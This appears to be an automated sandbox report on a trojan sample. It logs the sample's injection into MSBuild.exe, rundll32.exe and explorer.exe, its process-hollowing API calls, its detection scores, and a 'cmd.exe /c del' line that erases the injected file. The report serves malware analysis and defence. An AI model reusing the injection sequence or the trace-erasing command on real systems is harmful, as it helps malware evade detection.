Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF22AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF2EF7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A46E30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A5EBB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF1FF1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AEDBD2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04AF2B28
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00ABE1DD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00ABE5BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00AA2D8C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00AA2D90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00ABE5E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00ABD6C5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00AA9E4C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00AA9E50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00AA2FB0
Source: C:\Windows\explorer.exe	Code function: 30_2_05959232
Source: C:\Windows\explorer.exe	Code function: 30_2_0595C5CD
Source: C:\Windows\explorer.exe	Code function: 30_2_05956912
Source: C:\Windows\explorer.exe	Code function: 30_2_05950D02
Source: C:\Windows\explorer.exe	Code function: 30_2_05953B30
Source: C:\Windows\explorer.exe	Code function: 30_2_05953B32
Source: C:\Windows\explorer.exe	Code function: 30_2_0594F082
Source: C:\Windows\explorer.exe	Code function: 30_2_05958036
Source: C:\Windows\explorer.exe	Code function: 42_2_05566232
Source: C:\Windows\explorer.exe	Code function: 42_2_05563912
Source: C:\Windows\explorer.exe	Code function: 42_2_0555DD02
Source: C:\Windows\explorer.exe	Code function: 42_2_05560B32
Source: C:\Windows\explorer.exe	Code function: 42_2_05560B30
Source: C:\Windows\explorer.exe	Code function: 42_2_055695CD
Source: C:\Windows\explorer.exe	Code function: 42_2_05565036
Source: C:\Windows\explorer.exe	Code function: 42_2_0555C082

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 00EFB150 appears 32 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 04A2B150 appears 35 times

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041A350 NtCreateFile,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041A400 NtReadFile,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041A480 NtClose,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041A530 NtAllocateVirtualMemory,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041A34A NtCreateFile,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041A3FD NtReadFile,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041A3A2 NtCreateFile,NtReadFile,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F398F0 NtReadVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F399A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39A20 NtResumeThread,LdrInitializeThunk,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39A00 NtProtectVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F395D0 NtClose,LdrInitializeThunk,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39540 NtReadFile,LdrInitializeThunk,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F396E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39660 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F397A0 NtUnmapViewOfSection,LdrInitializeThunk,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F398A0 NtWriteVirtualMemory,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F3B040 NtSuspendThread,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39820 NtEnumerateKey,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F399D0 NtCreateProcessEx,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39950 NtQueueApcThread,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39A80 NtOpenDirectoryObject,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39A10 NtQuerySection,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F3A3B0 NtGetContextThread,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39B00 NtSetValueKey,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F395F0 NtQueryInformationFile,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39560 NtWriteFile,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F3AD30 NtSetContextThread,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39520 NtWaitForSingleObject,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F396D0 NtCreateKey,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39670 NtQueryInformationProcess,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39650 NtQueryValueKey,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39610 NtEnumerateValueKey,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39FE0 NtCreateMutant,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39770 NtSetInformationFile,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F3A770 NtOpenThread,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39760 NtOpenProcess,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F39730 NtQueryVirtualMemory,
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F3A710 NtOpenProcessToken,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A699A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A695D0 NtClose,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69540 NtReadFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A696E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A696D0 NtCreateKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69660 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69650 NtQueryValueKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69FE0 NtCreateMutant,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A698A0 NtWriteVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A698F0 NtReadVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69820 NtEnumerateKey,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A6B040 NtSuspendThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A695F0 NtQueryInformationFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A699D0 NtCreateProcessEx,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69520 NtWaitForSingleObject,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A6AD30 NtSetContextThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69560 NtWriteFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69950 NtQueueApcThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69A80 NtOpenDirectoryObject,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69A20 NtResumeThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69A00 NtProtectVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69610 NtEnumerateValueKey,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69A10 NtQuerySection,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69670 NtQueryInformationProcess,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A697A0 NtUnmapViewOfSection,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A6A3B0 NtGetContextThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69730 NtQueryVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69B00 NtSetValueKey,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A6A710 NtOpenProcessToken,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69760 NtOpenProcess,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A69770 NtSetInformationFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A6A770 NtOpenThread,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00ABA350 NtCreateFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00ABA480 NtClose,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00ABA400 NtReadFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00ABA530 NtAllocateVirtualMemory,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00ABA3A2 NtCreateFile,NtReadFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00ABA3FD NtReadFile,
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00ABA34A NtCreateFile,
Source: C:\Windows\explorer.exe	Code function: 30_2_05959232 NtCreateFile,
Source: C:\Windows\explorer.exe	Code function: 42_2_05567E12 NtProtectVirtualMemory,
Source: C:\Windows\explorer.exe	Code function: 42_2_05566232 NtCreateFile,
Source: C:\Windows\explorer.exe	Code function: 42_2_05567E0A NtProtectVirtualMemory,

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 98%

Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.340630386.00000000032D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBunifu.UI.dll4 vs H4vBtZsi8xAKaMm.exe
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.341894458.00000000042D9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMajorRevision.exe< vs H4vBtZsi8xAKaMm.exe
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.344847542.0000000007B70000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMajorRevision.exe< vs H4vBtZsi8xAKaMm.exe
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.339243084.0000000000F68000.00000002.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilename760pQ.exe@ vs H4vBtZsi8xAKaMm.exe
Source: H4vBtZsi8xAKaMm.exe, 00000001.00000002.341173431.000000000363B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMajorRevision.exe< vs H4vBtZsi8xAKaMm.exe

Source: H4vBtZsi8xAKaMm.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: H4vBtZsi8xAKaMm.exe	Virustotal: Detection: 65%
Source: H4vBtZsi8xAKaMm.exe	Metadefender: Detection: 47%
Source: H4vBtZsi8xAKaMm.exe	ReversingLabs: Detection: 85%

Source: H4vBtZsi8xAKaMm.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe "C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe"
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe {path}
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe {path}
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{660b90c8-73a9-4b58-8cae-355b7f55341b}\InProcServer32

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\H4vBtZsi8xAKaMm.exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winEXE@9/1@8/3

Source: C:\Windows\explorer.exe

File read: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Mutant created: \Sessions\1\BaseNamedObjects\lPuSWPcuIceRXCxevPdXbrCb
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6872:120:WilError_01

Source: rundll32.exe, 00000013.00000002.800904325.0000000004F2F000.00000004.10000000.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.495181429.000000000315F000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: .configAMSBUILDDIRECTORYDELETERETRYCOUNTCMSBUILDDIRECTORYDELETRETRYTIMEOUT.sln
Source: rundll32.exe, 00000013.00000002.800904325.0000000004F2F000.00000004.10000000.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.495181429.000000000315F000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: MSBuild MyApp.sln /t:Rebuild /p:Configuration=Release
Source: rundll32.exe, 00000013.00000002.800904325.0000000004F2F000.00000004.10000000.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.495181429.000000000315F000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb
Source: rundll32.exe, 00000013.00000002.800904325.0000000004F2F000.00000004.10000000.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.495181429.000000000315F000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdbD
Source: rundll32.exe, 00000013.00000002.800904325.0000000004F2F000.00000004.10000000.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.495181429.000000000315F000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: *.sln
Source: rundll32.exe, 00000013.00000002.800904325.0000000004F2F000.00000004.10000000.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.495181429.000000000315F000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: MSBuild MyApp.csproj /t:Clean
Source: rundll32.exe, 00000013.00000002.800904325.0000000004F2F000.00000004.10000000.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.495181429.000000000315F000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: /ignoreprojectextensions:.sln
Source: rundll32.exe, 00000013.00000002.800904325.0000000004F2F000.00000004.10000000.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.495181429.000000000315F000.00000004.80000000.00040000.00000000.sdmp	Binary or memory string: MSBUILD : error MSB1048: Solution files cannot be debugged directly. Run MSBuild first with an environment variable MSBUILDEMITSOLUTION=1 to create a corresponding ".sln.metaproj" file. Then debug that.

Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\explorer.exe

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: H4vBtZsi8xAKaMm.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: H4vBtZsi8xAKaMm.exe

Static file information: File size 1304576 > 1048576

Source: H4vBtZsi8xAKaMm.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: H4vBtZsi8xAKaMm.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x134400

Source: H4vBtZsi8xAKaMm.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: H4vBtZsi8xAKaMm.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\Administrator\Desktop\Client\Temp\jpRHjxHGRl\src\obj\Debug\760pQ.pdb source: H4vBtZsi8xAKaMm.exe
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: rundll32.exe, 00000013.00000002.800904325.0000000004F2F000.00000004.10000000.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.495181429.000000000315F000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: MSBuild.exe, 0000000E.00000002.401789434.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000003.338982256.0000000000D30000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.401925029.0000000000FEF000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000013.00000002.800187501.0000000004B1F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000013.00000002.799896535.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000013.00000003.402164809.00000000046D0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: MSBuild.exe, MSBuild.exe, 0000000E.00000002.401789434.0000000000ED0000.00000040.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000003.338982256.0000000000D30000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.401925029.0000000000FEF000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, rundll32.exe, 00000013.00000002.800187501.0000000004B1F000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000013.00000002.799896535.0000000004A00000.00000040.00000800.00020000.00000000.sdmp, rundll32.exe, 00000013.00000003.402164809.00000000046D0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: MSBuild.exe, 0000000E.00000002.402970903.0000000002B70000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: rundll32.pdbGCTL source: MSBuild.exe, 0000000E.00000002.402970903.0000000002B70000.00000040.10000000.00040000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdbD source: rundll32.exe, 00000013.00000002.800904325.0000000004F2F000.00000004.10000000.00040000.00000000.sdmp, explorer.exe, 0000001E.00000000.495181429.000000000315F000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Code function: 1_2_00E3612B push es; retn 0000h
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Code function: 1_2_00E38A39 push cs; retf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00416997 push 00000053h; retf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00417A42 push edi; retf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0040E2B6 pushfd ; retf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041D4F2 push eax; ret
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041D4FB push eax; ret
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041D4A5 push eax; ret
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_0041D55C push eax; ret
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00417658 push esi; ret
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 14_2_00F4D0D1 push ecx; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_04A7D0D1 push ecx; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00AB6997 push 00000053h; retf
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00AAE2B6 pushfd ; retf
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00AB7A42 push edi; retf
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00ABD4A5 push eax; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00ABD4FB push eax; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00ABD4F2 push eax; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00ABD55C push eax; ret
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 19_2_00AB7658 push esi; ret
Source: C:\Windows\explorer.exe	Code function: 30_2_0595C9B5 push esp; retn 0000h
Source: C:\Windows\explorer.exe	Code function: 30_2_0595CB1E push esp; retn 0000h
Source: C:\Windows\explorer.exe	Code function: 30_2_0595CB02 push esp; retn 0000h
Source: C:\Windows\explorer.exe	Code function: 42_2_05569B1E push esp; retn 0000h
Source: C:\Windows\explorer.exe	Code function: 42_2_05569B02 push esp; retn 0000h
Source: C:\Windows\explorer.exe	Code function: 42_2_055699B5 push esp; retn 0000h

Source: initial sample

Static PE information: section name: .text entropy: 7.91694602687

Source: C:\Windows\explorer.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\H4vBtZsi8xAKaMm.exe	Process information set: NOOPENFILEERRORBOX
